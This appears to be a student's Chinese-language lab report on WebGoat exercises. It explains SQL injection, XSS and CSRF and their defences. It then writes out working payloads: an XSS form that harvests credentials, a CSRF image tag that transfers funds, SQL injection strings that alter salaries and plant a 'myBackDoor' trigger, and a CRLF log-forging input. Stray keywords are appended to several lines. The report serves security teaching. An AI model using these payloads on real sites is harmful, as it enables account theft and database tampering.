SQL注入產生的緣由,和棧溢出、XSS等不少其餘的攻擊方法相似,就是未經檢查或者未經充分檢查的用戶輸入數據,意外變成了代碼被執行。針對於SQL注入,則是用戶提交的數據,被數據庫系統編譯而產生了開發者預期以外的動做。也就是,SQL注入是用戶輸入的數據,在拼接SQL語句的過程當中,超越了數據自己,成爲了SQL語句查詢邏輯的一部分,而後這樣被拼接出來的SQL語句被數據庫執行,產生了開發者預期以外的動做。javascript
從根本上防止上述類型攻擊的手段,仍是避免數據變成代碼被執行,時刻分清代碼和數據的界限。而具體到SQL注入來講,被執行的惡意代碼是經過數據庫的SQL解釋引擎編譯獲得的,因此只要避免用戶輸入的數據被數據庫系統編譯就能夠了。java
XSS攻擊是Web攻擊中最多見的攻擊方法之一,它是經過對網頁注入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,造成了一次有效XSS攻擊,一旦攻擊成功,它能夠獲取用戶的聯繫人列
表,而後向聯繫人發送虛假詐騙信息,能夠刪除用戶的日誌等等,有時候還和其餘攻擊方式同時實
施好比SQL注入攻擊服務器和數據庫、Click劫持、相對連接劫持等實施釣魚,它帶來的危害是巨
大的,是web安全的頭號大敵web
過濾用戶輸入的 檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。、嚴格控制輸出sql
CSRF概念:CSRF跨站點請求僞造(Cross—Site Request Forgery),跟XSS攻擊同樣,存在巨大的危害性,你能夠這樣來理解:
攻擊者盜用了a的身份,以a的名義發送惡意請求,對服務器來講這個請求是徹底合法的,可是卻完成了攻擊者所指望的一個操做,好比以a的名義發送郵件、發消息,盜取a的帳號,添加系統管理員,甚至於購買商品、虛擬貨幣轉帳等。數據庫
目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。django
localhost:8080/WebGoat
,進入WebGoat。本題要在搜索框中輸入XSS攻擊代碼,利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form,讓受害人在咱們建立的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,而且將這些信息發送給http://localhost:8080/那一段,完整的XSS攻擊代碼以下:瀏覽器
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
<script>alert("you have been died");</script>
,而後提交後就蹦出來代碼了<script>alert("lalala");</script>
,就會彈出對話框:存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。安全
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
點擊彈出本身的在該網站的cookie:服務器
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>
,其中Screen和menu在當前頁面的右邊Parameters進行查看:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100進入確認轉帳請求頁面
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM
,成功轉走了100元:or 1=1
:' or 1=1 --
進行SQL注入,登陸失敗:先以用戶名Larry登陸,登陸以後看到瀏覽員工信息的按鈕是ViewProfile:cookie
在網頁代碼中分析這個按鈕,發現這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:
101; update employee set salary=200000
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
zx%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符:網絡攻防課程結束了,這九次實驗給我最大的體會就是工欲善其事必先利其器這句話。只有把事先的準備作好了,加上耐心細緻的操做,才能作好實驗。